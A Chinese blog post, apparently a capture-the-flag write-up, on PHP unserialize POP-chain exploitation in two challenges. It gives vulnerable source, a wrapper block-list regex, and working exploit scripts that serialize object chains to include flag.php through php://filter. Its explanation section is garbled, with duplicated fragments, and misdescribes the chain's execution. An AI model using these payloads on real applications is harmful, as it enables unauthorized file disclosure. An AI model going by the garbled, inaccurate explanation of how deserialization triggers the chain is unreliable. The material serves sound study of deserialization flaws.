ez_serialize

文章讲述了PHP中的反序列化过程如何导致安全漏洞,通过示例展示了如何利用`__invoke`、`__wakeup`和`__toString`等特殊方法构建递归对象图,以及如何通过恶意输入检测。
摘要由CSDN通过智能技术生成

源码

<?php
highlight_file(__FILE__);

class A{
  public $var_1;
  
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}

if(isset($_GET['payload']))
{
    unserialize($_GET['payload']);
}
?>

pop链子如下

B.__wakeup() --> C.__toString() --> D.__get() --> A.__invoke()

exp如下

<?php

class A{
  public $var_1='php://filter/read=convert.base64-encode/resource=flag.php';
}

class B{
  public $q;
}
class C{
  public $var;
  public $z;
}

class D{
  public $p; 
}

$a=new B();
$b=new C();
$c=new D();
$d=new A();
$a->q=$b;
$b->z=$c;
$c->p=$d;
echo serialize($a);

?>

解释如下

对于这个pop链的执行过程,可以进一步详细解释。首先,让我们逐步追踪反序列化的过程:

反序列化开始时,会先对最内层的对象a进行反序列化,即将‘a进行反序列化,即将‘var_1属性赋值为字符串"php://filter/read=convert.base64-encode/resource=flag.php"`。

然后,对对象d进行反序列化,它的‘d进行反序列化,它的‘p属性引用了对象$a。在反序列化过程中,会调用对象$d的__get()`函数,返回对象$a的结果。

接下来是对象c的反序列化,其中‘c的反序列化,其中‘z属性引用了对象$d。同样,在反序列化过程中,会调用对象$c的__get()函数,再次触发对象$d的__get()`函数,将对象a返回给对象a返回给对象c。

最后,对对象b进行反序列化,它的‘b进行反序列化,它的‘q属性引用了对象$c。在这一步中,会调用对象$b的__wakeup()函数。在当前代码中,__wakeup()函数使用正则表达式匹配$q`属性以检测恶意输入,如果匹配成功,则输出"hacker"。

在示例中,C类中的var属性是一个指向自己的引用。也就是说,$c->var指向了$c对象本身。这样的引用关系可以在对象内部形成递归结构,即对象包含对自身的引用。

当我们将这个对象进行序列化时,整个对象图(包括引用关系)都会被序列化。这意味着在序列化过程中,会将$c对象及其相关引用也进行序列化。在反序列化时,被序列化的对象图会被还原,重建出原始的对象及其引用关系。

由于C类实现了__toString()方法,该方法定义了如何以字符串形式表示对象。在示例中,__toString()方法返回了$z属性的var值,即$a->var_1。因此,在反序列化时,如果尝试将$c对象作为字符串输出(例如使用echo语句),就会间接调用C类的__toString()方法,从而返回$a->var_1的值。

总结起来,尽管示例中没有直接尝试输出C类的对象,但是由于序列化和反序列化过程会还原整个对象图,当尝试以字符串形式输出$c对象时,会触发间接调用C类的__toString()方法,并返回相应的值。

[MRCTF2020]Ezpop

此题同理

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

pop链如下

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

}

class Test{
    public $p;
     public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$a= new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));
?>


原文链接:https://blog.csdn.net/2301_76690905/article/details/133763490

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值